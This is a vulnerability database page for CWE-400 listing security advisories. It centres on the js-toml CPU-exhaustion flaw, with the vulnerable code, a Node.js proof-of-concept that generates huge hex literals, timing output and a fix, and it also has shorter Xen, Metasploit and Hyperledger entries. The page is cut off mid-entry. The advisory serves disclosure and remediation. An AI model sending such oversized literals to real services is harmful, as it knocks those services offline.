CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5914 vulnerabilities reference this CWE, most recent first.
GHSA-WP3C-266W-4QFQ
Vulnerability from github – Published: 2026-06-26 22:21 – Updated: 2026-06-26 22:21Summary
js-toml versions up to and including 1.1.0 parse hexadecimal / octal / binary integer literals via a hand-written parseBigInt loop that multiplies a BigInt accumulator by the radix once per input digit. Each iteration performs a BigInt * BigInt operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is O(n²) in the literal length. The lexer regex places no upper bound on the literal length, so a single TOML document containing one ~500 kB hex literal pins one CPU core for ~40 seconds on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work.
A caller that invokes load() on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party *.toml, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS.
CWE-1333 (Inefficient Regular Expression Complexity → here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (HIGH) when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (< 1 kB).
Affected
- Package:
js-toml(npm) - Versions:
>= 0.0.0, <= 1.1.0(all released versions up to and including the current1.1.0) - Affected entry point:
load()exported from the package root
Vulnerable code
src/load/tokens/NonDecimalInteger.ts lines 54-84 at SHA-pinned 2470ebf2e9009096aa4cbd1a15e574c54cc36b1a:
const parseBigInt = (string: string, radix: number): bigint => {
let result = BigInt(0);
for (let i = 0; i < string.length; i++) {
const char = string[i];
const digit = parseInt(char, radix);
result = result * BigInt(radix) + BigInt(digit);
}
return result;
};
and the interpreter that dispatches to it at lines 72-84:
registerTokenInterpreter(NonDecimalInteger, (raw: string) => {
const intString = raw.replace(/_/g, '');
const digits = intString.slice(2);
const radix = getRadix(raw);
const int = parseInt(digits, radix);
if (Number.isSafeInteger(int)) {
return int;
}
return parseBigInt(digits, radix);
});
Two compounding problems:
-
Algorithmic: the loop performs
result * BigInt(radix) + BigInt(digit)once per input digit. AfteriiterationsresulthasO(i)limbs, so the multiply costsO(i). Summed overndigits the total cost isO(n²). -
No length guard: the lexer regex at
src/load/tokens/NonDecimalInteger.ts#L14-L46is0x<hexDigit>(<hexDigit>|_<hexDigit>)*(likewise for0o/0b). The literal length is bounded only by the input document size. There is nomaxNumberLength/maxLiteralLengthoption, nochevrotain-level cutoff, and no validation at the interpreter callsite.
By contrast, the DecimalInteger token interpreter at src/load/tokens/DecimalInteger.ts#L12-L19 uses the V8 native BigInt(intString) constructor, which is O(n) and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop.
Impact
A single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With 8 MB of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls load() (the only documented entry point) on attacker-controlled or third-party TOML.
Reachability
The vulnerable path is the default code path for load(). No options or configuration are required to trigger it. Any caller that exposes load() to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds Number.MAX_SAFE_INTEGER (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits).
Realistic exposure surfaces:
- Web service that accepts a user-supplied TOML configuration (settings import, theme upload, deployment manifest).
- CI / CD or build tool that runs
js-tomlon TOML in third-party repositories or pull requests. - IDE / language-server plugin that re-parses a TOML buffer on every keystroke.
- Multi-tenant SaaS that lets one tenant submit TOML processed by a shared worker.
PoC (End-to-end reproduction)
Environment
- Node.js
v22.x(tested onv22.0.0and Nodev26.0.0) - macOS arm64 / Linux x86_64 (CPU exhaustion is hardware-independent; absolute timings will scale by CPU clock)
Install
mkdir js-toml-cve && cd js-toml-cve
npm init -y
npm install js-toml@1.1.0 @iarna/toml
poc_full_e2e.mjs
import { load } from 'js-toml';
import iarna from '@iarna/toml';
function timeIt(label, fn) {
const t0 = process.hrtime.bigint();
let result, err;
try { result = fn(); } catch (e) { err = e; }
const t1 = process.hrtime.bigint();
const ms = (Number(t1 - t0) / 1e6).toFixed(1);
if (err) console.log(`${label}: ERROR ${err.message} after ${ms}ms`);
else console.log(`${label}: ${ms}ms${result ? ' ' + result : ''}`);
}
console.log('--- Sanity baseline (small inputs) ---');
timeIt('decimal int 1', () => { load('x = 1'); return ''; });
timeIt('hex 0x10', () => { load('x = 0x10'); return ''; });
timeIt('hex 0xffff', () => { load('x = 0xffff'); return ''; });
console.log('\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---');
for (const n of [10_000, 20_000, 50_000, 100_000, 200_000, 500_000]) {
const hexDigits = 'f'.repeat(n);
const tomlText = `x = 0x${hexDigits}`;
timeIt(`hex ${n.toLocaleString()} digits (${tomlText.length} bytes input)`,
() => {
const r = load(tomlText);
return `bits=${r.x.toString(2).length}`;
});
}
console.log('\n--- Negative control: same input via @iarna/toml ---');
for (const n of [10_000, 50_000, 100_000, 200_000]) {
const hexDigits = 'f'.repeat(n);
const tomlText = `x = 0x${hexDigits}`;
timeIt(`@iarna/toml hex ${n.toLocaleString()} digits`,
() => {
const r = iarna.parse(tomlText);
return `type=${typeof r.x}`;
});
}
console.log('\n--- Octal / binary share the same code path ---');
for (const n of [50_000, 100_000]) {
const octDigits = '7'.repeat(n);
const binDigits = '1'.repeat(n);
timeIt(`oct 0o${n.toLocaleString()} digits`,
() => { const r = load(`x = 0o${octDigits}`); return `bits=${r.x.toString(2).length}`; });
timeIt(`bin 0b${n.toLocaleString()} digits`,
() => { const r = load(`x = 0b${binDigits}`); return `bits=${r.x.toString(2).length}`; });
}
Captured run output (unpatched js-toml@1.1.0, Node v26.0.0, Apple M-series)
# js-toml version: 1.1.0
--- Sanity baseline (small inputs) ---
decimal int 1: 1.3ms
hex 0x10: 0.4ms
hex 0xffff: 0.1ms
--- Amplification curve: js-toml.load() with 0x<N hex digits> ---
hex 10,000 digits (10006 bytes input): 15.0ms bits=40000
hex 20,000 digits (20006 bytes input): 29.8ms bits=80000
hex 50,000 digits (50006 bytes input): 214.7ms bits=200000
hex 100,000 digits (100006 bytes input): 693.0ms bits=400000
hex 200,000 digits (200006 bytes input): 3239.6ms bits=800000
hex 500,000 digits (500006 bytes input): 40388.3ms bits=2000000
--- Negative control: same input via @iarna/toml ---
@iarna/toml hex 10,000 digits: 2.3ms type=bigint
@iarna/toml hex 50,000 digits: 3.2ms type=bigint
@iarna/toml hex 100,000 digits: 5.4ms type=bigint
@iarna/toml hex 200,000 digits: 10.2ms type=bigint
--- Octal / binary share the same code path ---
oct 0o50,000 digits: 187.6ms bits=150000
bin 0b50,000 digits: 49.5ms bits=50000
oct 0o100,000 digits: 633.2ms bits=300000
bin 0b100,000 digits: 196.8ms bits=100000
Confirmation points:
- Quadratic curve: 10k → 20k digits is ~2x time (15ms → 30ms); 100k → 200k is ~4.7x time (693ms → 3239ms); 200k → 500k (2.5x) is ~12x time (3.2s → 40s). Matches the predicted
O(n²). - Single ~500 kB document blocks the event loop for ~40 s of CPU time.
- Octal and binary literals trigger the same path through
parseBigInt(digits, 8)andparseBigInt(digits, 2). - The negative control (
@iarna/toml, which calls the V8 nativeBigInt(value)constructor) parses the same inputs in 2-10 ms. The defect is injs-toml's hand-written radix conversion, not in V8BigIntsemantics or in the input size itself.
Patched-build verification
After applying the fix (replace parseBigInt(digits, radix) with BigInt('0' + raw[1] + digits) and add a maxLiteralLength guard at the interpreter callsite), the same PoC produces:
--- Amplification curve: js-toml.load() with 0x<N hex digits> ---
hex 10,000 digits: 0.2ms bits=40000
hex 20,000 digits: 0.3ms bits=80000
hex 50,000 digits: 0.7ms bits=200000
hex 100,000 digits: 1.5ms bits=400000
hex 200,000 digits: 2.8ms bits=800000
hex 500,000 digits: 7.1ms bits=2000000
(Linear scaling, sub-10 ms even on inputs five orders of magnitude larger than any realistic literal.) With a 1000-digit cap applied at the interpreter callsite, literals beyond the cap raise SyntaxParseError instead of being parsed at all, matching the maxNumberLength convention used by jackson-core StreamReadConstraints and gson NumberLimits.
Suggested fix
Two changes, both in src/load/tokens/NonDecimalInteger.ts:
- Replace the hand-written
parseBigIntloop with the V8 nativeBigInt(prefixedString)constructor.BigIntnatively accepts the0x/0o/0bprefix and parses inO(n):
```ts registerTokenInterpreter(NonDecimalInteger, (raw: string) => { const intString = raw.replace(/_/g, ''); const digits = intString.slice(2); const radix = getRadix(raw);
// Optional but recommended: cap the literal length to avoid degenerate inputs
const MAX_RADIX_LITERAL_LENGTH = 1000;
if (digits.length > MAX_RADIX_LITERAL_LENGTH) {
throw new SyntaxParseError(
`Radix-prefixed integer literal exceeds ${MAX_RADIX_LITERAL_LENGTH} digits`
);
}
const int = parseInt(digits, radix);
if (Number.isSafeInteger(int)) {
return int;
}
// BigInt accepts '0x'/'0o'/'0b' prefix natively
return BigInt(intString);
}); ```
- Delete the
parseBigInthelper. The native constructor handles all three radices.
Either change alone fixes the worst-case wall-clock. The combination matches the constraint posture of jackson-core (StreamReadConstraints.validateIntegerLength) and gson (NumberLimits.checkNumberStringLength).
Fix PR link
https://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2
Credit
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.1.0"
},
"package": {
"ecosystem": "npm",
"name": "js-toml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49293"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T22:21:43Z",
"nvd_published_at": "2026-06-19T19:16:36Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`js-toml` versions up to and including **1.1.0** parse hexadecimal / octal / binary integer literals via a hand-written `parseBigInt` loop that multiplies a `BigInt` accumulator by the radix once per input digit. Each iteration performs a `BigInt * BigInt` operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is **O(n\u00b2)** in the literal length. The lexer regex places **no upper bound on the literal length**, so a single TOML document containing one ~500 kB hex literal pins one CPU core for **~40 seconds** on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work.\n\nA caller that invokes `load()` on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party `*.toml`, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS.\n\nCWE-1333 (Inefficient Regular Expression Complexity \u2192 here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity).\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = **7.5 (HIGH)** when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (\u003c 1 kB).\n\n## Affected\n\n- Package: `js-toml` (npm)\n- Versions: `\u003e= 0.0.0, \u003c= 1.1.0` (all released versions up to and including the current `1.1.0`)\n- Affected entry point: `load()` exported from the package root\n\n## Vulnerable code\n\n`src/load/tokens/NonDecimalInteger.ts` lines 54-84 at SHA-pinned [`2470ebf2e9009096aa4cbd1a15e574c54cc36b1a`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L54-L84):\n\n```ts\nconst parseBigInt = (string: string, radix: number): bigint =\u003e {\n let result = BigInt(0);\n for (let i = 0; i \u003c string.length; i++) {\n const char = string[i];\n const digit = parseInt(char, radix);\n result = result * BigInt(radix) + BigInt(digit);\n }\n\n return result;\n};\n```\n\nand the interpreter that dispatches to it at lines 72-84:\n\n```ts\nregisterTokenInterpreter(NonDecimalInteger, (raw: string) =\u003e {\n const intString = raw.replace(/_/g, \u0027\u0027);\n const digits = intString.slice(2);\n const radix = getRadix(raw);\n\n const int = parseInt(digits, radix);\n\n if (Number.isSafeInteger(int)) {\n return int;\n }\n\n return parseBigInt(digits, radix);\n});\n```\n\nTwo compounding problems:\n\n1. **Algorithmic**: the loop performs `result * BigInt(radix) + BigInt(digit)` once per input digit. After `i` iterations `result` has `O(i)` limbs, so the multiply costs `O(i)`. Summed over `n` digits the total cost is `O(n\u00b2)`.\n\n2. **No length guard**: the lexer regex at [`src/load/tokens/NonDecimalInteger.ts#L14-L46`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L14-L46) is `0x\u003chexDigit\u003e(\u003chexDigit\u003e|_\u003chexDigit\u003e)*` (likewise for `0o` / `0b`). The literal length is bounded only by the input document size. There is no `maxNumberLength` / `maxLiteralLength` option, no `chevrotain`-level cutoff, and no validation at the interpreter callsite.\n\nBy contrast, the `DecimalInteger` token interpreter at [`src/load/tokens/DecimalInteger.ts#L12-L19`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/DecimalInteger.ts#L12-L19) uses the V8 native `BigInt(intString)` constructor, which is `O(n)` and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop.\n\n## Impact\n\nA single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With `8 MB` of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls `load()` (the only documented entry point) on attacker-controlled or third-party TOML.\n\n## Reachability\n\nThe vulnerable path is the default code path for `load()`. No options or configuration are required to trigger it. Any caller that exposes `load()` to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds `Number.MAX_SAFE_INTEGER` (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits).\n\nRealistic exposure surfaces:\n\n- Web service that accepts a user-supplied TOML configuration (settings import, theme upload, deployment manifest).\n- CI / CD or build tool that runs `js-toml` on TOML in third-party repositories or pull requests.\n- IDE / language-server plugin that re-parses a TOML buffer on every keystroke.\n- Multi-tenant SaaS that lets one tenant submit TOML processed by a shared worker.\n\n## PoC (End-to-end reproduction)\n\n### Environment\n\n- Node.js `v22.x` (tested on `v22.0.0` and Node `v26.0.0`)\n- macOS arm64 / Linux x86_64 (CPU exhaustion is hardware-independent; absolute timings will scale by CPU clock)\n\n### Install\n\n```bash\nmkdir js-toml-cve \u0026\u0026 cd js-toml-cve\nnpm init -y\nnpm install js-toml@1.1.0 @iarna/toml\n```\n\n### `poc_full_e2e.mjs`\n\n```js\nimport { load } from \u0027js-toml\u0027;\nimport iarna from \u0027@iarna/toml\u0027;\n\nfunction timeIt(label, fn) {\n const t0 = process.hrtime.bigint();\n let result, err;\n try { result = fn(); } catch (e) { err = e; }\n const t1 = process.hrtime.bigint();\n const ms = (Number(t1 - t0) / 1e6).toFixed(1);\n if (err) console.log(`${label}: ERROR ${err.message} after ${ms}ms`);\n else console.log(`${label}: ${ms}ms${result ? \u0027 \u0027 + result : \u0027\u0027}`);\n}\n\nconsole.log(\u0027--- Sanity baseline (small inputs) ---\u0027);\ntimeIt(\u0027decimal int 1\u0027, () =\u003e { load(\u0027x = 1\u0027); return \u0027\u0027; });\ntimeIt(\u0027hex 0x10\u0027, () =\u003e { load(\u0027x = 0x10\u0027); return \u0027\u0027; });\ntimeIt(\u0027hex 0xffff\u0027, () =\u003e { load(\u0027x = 0xffff\u0027); return \u0027\u0027; });\n\nconsole.log(\u0027\\n--- Amplification curve: js-toml.load() with 0x\u003cN hex digits\u003e ---\u0027);\nfor (const n of [10_000, 20_000, 50_000, 100_000, 200_000, 500_000]) {\n const hexDigits = \u0027f\u0027.repeat(n);\n const tomlText = `x = 0x${hexDigits}`;\n timeIt(`hex ${n.toLocaleString()} digits (${tomlText.length} bytes input)`,\n () =\u003e {\n const r = load(tomlText);\n return `bits=${r.x.toString(2).length}`;\n });\n}\n\nconsole.log(\u0027\\n--- Negative control: same input via @iarna/toml ---\u0027);\nfor (const n of [10_000, 50_000, 100_000, 200_000]) {\n const hexDigits = \u0027f\u0027.repeat(n);\n const tomlText = `x = 0x${hexDigits}`;\n timeIt(`@iarna/toml hex ${n.toLocaleString()} digits`,\n () =\u003e {\n const r = iarna.parse(tomlText);\n return `type=${typeof r.x}`;\n });\n}\n\nconsole.log(\u0027\\n--- Octal / binary share the same code path ---\u0027);\nfor (const n of [50_000, 100_000]) {\n const octDigits = \u00277\u0027.repeat(n);\n const binDigits = \u00271\u0027.repeat(n);\n timeIt(`oct 0o${n.toLocaleString()} digits`,\n () =\u003e { const r = load(`x = 0o${octDigits}`); return `bits=${r.x.toString(2).length}`; });\n timeIt(`bin 0b${n.toLocaleString()} digits`,\n () =\u003e { const r = load(`x = 0b${binDigits}`); return `bits=${r.x.toString(2).length}`; });\n}\n```\n\n### Captured run output (unpatched `js-toml@1.1.0`, Node v26.0.0, Apple M-series)\n\n```\n# js-toml version: 1.1.0\n\n--- Sanity baseline (small inputs) ---\ndecimal int 1: 1.3ms\nhex 0x10: 0.4ms\nhex 0xffff: 0.1ms\n\n--- Amplification curve: js-toml.load() with 0x\u003cN hex digits\u003e ---\nhex 10,000 digits (10006 bytes input): 15.0ms bits=40000\nhex 20,000 digits (20006 bytes input): 29.8ms bits=80000\nhex 50,000 digits (50006 bytes input): 214.7ms bits=200000\nhex 100,000 digits (100006 bytes input): 693.0ms bits=400000\nhex 200,000 digits (200006 bytes input): 3239.6ms bits=800000\nhex 500,000 digits (500006 bytes input): 40388.3ms bits=2000000\n\n--- Negative control: same input via @iarna/toml ---\n@iarna/toml hex 10,000 digits: 2.3ms type=bigint\n@iarna/toml hex 50,000 digits: 3.2ms type=bigint\n@iarna/toml hex 100,000 digits: 5.4ms type=bigint\n@iarna/toml hex 200,000 digits: 10.2ms type=bigint\n\n--- Octal / binary share the same code path ---\noct 0o50,000 digits: 187.6ms bits=150000\nbin 0b50,000 digits: 49.5ms bits=50000\noct 0o100,000 digits: 633.2ms bits=300000\nbin 0b100,000 digits: 196.8ms bits=100000\n```\n\nConfirmation points:\n\n- Quadratic curve: 10k \u2192 20k digits is ~2x time (15ms \u2192 30ms); 100k \u2192 200k is ~4.7x time (693ms \u2192 3239ms); 200k \u2192 500k (2.5x) is ~12x time (3.2s \u2192 40s). Matches the predicted `O(n\u00b2)`.\n- Single ~500 kB document blocks the event loop for ~40 s of CPU time.\n- Octal and binary literals trigger the same path through `parseBigInt(digits, 8)` and `parseBigInt(digits, 2)`.\n- The negative control (`@iarna/toml`, which calls the V8 native `BigInt(value)` constructor) parses the same inputs in 2-10 ms. The defect is in `js-toml`\u0027s hand-written radix conversion, not in V8 `BigInt` semantics or in the input size itself.\n\n### Patched-build verification\n\nAfter applying the fix (replace `parseBigInt(digits, radix)` with `BigInt(\u00270\u0027 + raw[1] + digits)` and add a `maxLiteralLength` guard at the interpreter callsite), the same PoC produces:\n\n```\n--- Amplification curve: js-toml.load() with 0x\u003cN hex digits\u003e ---\nhex 10,000 digits: 0.2ms bits=40000\nhex 20,000 digits: 0.3ms bits=80000\nhex 50,000 digits: 0.7ms bits=200000\nhex 100,000 digits: 1.5ms bits=400000\nhex 200,000 digits: 2.8ms bits=800000\nhex 500,000 digits: 7.1ms bits=2000000\n```\n\n(Linear scaling, sub-10 ms even on inputs five orders of magnitude larger than any realistic literal.) With a 1000-digit cap applied at the interpreter callsite, literals beyond the cap raise `SyntaxParseError` instead of being parsed at all, matching the `maxNumberLength` convention used by `jackson-core` `StreamReadConstraints` and `gson` `NumberLimits`.\n\n## Suggested fix\n\nTwo changes, both in [`src/load/tokens/NonDecimalInteger.ts`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts):\n\n1. Replace the hand-written `parseBigInt` loop with the V8 native `BigInt(prefixedString)` constructor. `BigInt` natively accepts the `0x` / `0o` / `0b` prefix and parses in `O(n)`:\n\n ```ts\n registerTokenInterpreter(NonDecimalInteger, (raw: string) =\u003e {\n const intString = raw.replace(/_/g, \u0027\u0027);\n const digits = intString.slice(2);\n const radix = getRadix(raw);\n\n // Optional but recommended: cap the literal length to avoid degenerate inputs\n const MAX_RADIX_LITERAL_LENGTH = 1000;\n if (digits.length \u003e MAX_RADIX_LITERAL_LENGTH) {\n throw new SyntaxParseError(\n `Radix-prefixed integer literal exceeds ${MAX_RADIX_LITERAL_LENGTH} digits`\n );\n }\n\n const int = parseInt(digits, radix);\n if (Number.isSafeInteger(int)) {\n return int;\n }\n\n // BigInt accepts \u00270x\u0027/\u00270o\u0027/\u00270b\u0027 prefix natively\n return BigInt(intString);\n });\n ```\n\n2. Delete the `parseBigInt` helper. The native constructor handles all three radices.\n\nEither change alone fixes the worst-case wall-clock. The combination matches the constraint posture of `jackson-core` (`StreamReadConstraints.validateIntegerLength`) and `gson` (`NumberLimits.checkNumberStringLength`).\n\n## Fix PR link\n\nhttps://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2\n\n## Credit\n\nReported by `tonghuaroot`.",
"id": "GHSA-wp3c-266w-4qfq",
"modified": "2026-06-26T22:21:43Z",
"published": "2026-06-26T22:21:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sunnyadn/js-toml/security/advisories/GHSA-wp3c-266w-4qfq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49293"
},
{
"type": "WEB",
"url": "https://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2"
},
{
"type": "PACKAGE",
"url": "https://github.com/sunnyadn/js-toml"
},
{
"type": "WEB",
"url": "https://github.com/sunnyadn/js-toml/releases/tag/v1.1.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "js-toml vulnerable to CPU exhaustion via O(n^2) BigInt construction on radix-prefixed integer literals"
}
GHSA-WP3V-G466-8G44
Vulnerability from github – Published: 2021-05-05 19:25 – Updated: 2021-12-14 18:11By sending a specially crafted HTTP GET request to a listening Rapid7 Metasploit HTTP handler, an attacker can register an arbitrary regular expression. When evaluated, this malicious handler can either prevent new HTTP handler sessions from being established, or cause a resource exhaustion on the Metasploit server.
{
"affected": [],
"aliases": [
"CVE-2019-5645"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-09-01T15:15:00Z",
"severity": "HIGH"
},
"details": "By sending a specially crafted HTTP GET request to a listening Rapid7 Metasploit HTTP handler, an attacker can register an arbitrary regular expression. When evaluated, this malicious handler can either prevent new HTTP handler sessions from being established, or cause a resource exhaustion on the Metasploit server.",
"id": "GHSA-wp3v-g466-8g44",
"modified": "2021-12-14T18:11:16Z",
"published": "2021-05-05T19:25:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-5645"
},
{
"type": "WEB",
"url": "https://github.com/rapid7/metasploit-framework/pull/12433"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Regular expression denial of service in Rapid7 Metasploit"
}
GHSA-WP5G-757J-V342
Vulnerability from github – Published: 2022-10-11 19:00 – Updated: 2022-10-14 19:00Arm: unbounded memory consumption for 2nd-level page tables Certain actions require e.g. removing pages from a guest's P2M (Physical-to-Machine) mapping. When large pages are in use to map guest pages in the 2nd-stage page tables, such a removal operation may incur a memory allocation (to replace a large mapping with individual smaller ones). These memory allocations are taken from the global memory pool. A malicious guest might be able to cause the global memory pool to be exhausted by manipulating its own P2M mappings.
{
"affected": [],
"aliases": [
"CVE-2022-33747"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-404"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-11T13:15:00Z",
"severity": "LOW"
},
"details": "Arm: unbounded memory consumption for 2nd-level page tables Certain actions require e.g. removing pages from a guest\u0027s P2M (Physical-to-Machine) mapping. When large pages are in use to map guest pages in the 2nd-stage page tables, such a removal operation may incur a memory allocation (to replace a large mapping with individual smaller ones). These memory allocations are taken from the global memory pool. A malicious guest might be able to cause the global memory pool to be exhausted by manipulating its own P2M mappings.",
"id": "GHSA-wp5g-757j-v342",
"modified": "2022-10-14T19:00:40Z",
"published": "2022-10-11T19:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-33747"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TJOMUNGW6VTK5CZZRLWLVVEOUPEQBRHI"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/XWSC77GS5NATI3TT7FMVPULUPXR635XQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/YZVXG7OOOXCX6VIPEMLFDPIPUTFAYWPE"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TJOMUNGW6VTK5CZZRLWLVVEOUPEQBRHI"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XWSC77GS5NATI3TT7FMVPULUPXR635XQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YZVXG7OOOXCX6VIPEMLFDPIPUTFAYWPE"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202402-07"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2022/dsa-5272"
},
{
"type": "WEB",
"url": "https://xenbits.xenproject.org/xsa/advisory-409.txt"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/10/11/5"
},
{
"type": "WEB",
"url": "http://xenbits.xen.org/xsa/advisory-409.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-WP5G-HHM3-443G
Vulnerability from github – Published: 2022-05-24 17:29 – Updated: 2022-05-24 17:29An issue was discovered in Xen through 4.14.x. There is a lack of preemption in evtchn_reset() / evtchn_destroy(). In particular, the FIFO event channel model allows guests to have a large number of event channels active at a time. Closing all of these (when resetting all event channels or when cleaning up after the guest) may take extended periods of time. So far, there was no arrangement for preemption at suitable intervals, allowing a CPU to spend an almost unbounded amount of time in the processing of these operations. Malicious or buggy guest kernels can mount a Denial of Service (DoS) attack affecting the entire system. All Xen versions are vulnerable in principle. Whether versions 4.3 and older are vulnerable depends on underlying hardware characteristics.
{
"affected": [],
"aliases": [
"CVE-2020-25601"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-09-23T22:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Xen through 4.14.x. There is a lack of preemption in evtchn_reset() / evtchn_destroy(). In particular, the FIFO event channel model allows guests to have a large number of event channels active at a time. Closing all of these (when resetting all event channels or when cleaning up after the guest) may take extended periods of time. So far, there was no arrangement for preemption at suitable intervals, allowing a CPU to spend an almost unbounded amount of time in the processing of these operations. Malicious or buggy guest kernels can mount a Denial of Service (DoS) attack affecting the entire system. All Xen versions are vulnerable in principle. Whether versions 4.3 and older are vulnerable depends on underlying hardware characteristics.",
"id": "GHSA-wp5g-hhm3-443g",
"modified": "2022-05-24T17:29:24Z",
"published": "2022-05-24T17:29:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25601"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4JRXMKEMQRQYWYEPHVBIWUEAVQ3LU4FN"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DA633Y3G5KX7MKRN4PFEGM3IVTJMBEOM"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RJZERRBJN6E6STDCHT4JHP4MI6TKBCJE"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202011-06"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2020/dsa-4769"
},
{
"type": "WEB",
"url": "https://xenbits.xen.org/xsa/advisory-344.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00008.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WP68-67C6-87FH
Vulnerability from github – Published: 2022-11-13 12:00 – Updated: 2022-11-17 18:30Hyperledger Fabric 2.3 allows attackers to cause a denial of service (orderer crash) by repeatedly sending a crafted channel tx with the same Channel name. NOTE: the official Fabric with Raft prevents exploitation via a locking mechanism and a check for names that already exist.
{
"affected": [],
"aliases": [
"CVE-2022-45196"
],
"database_specific": {
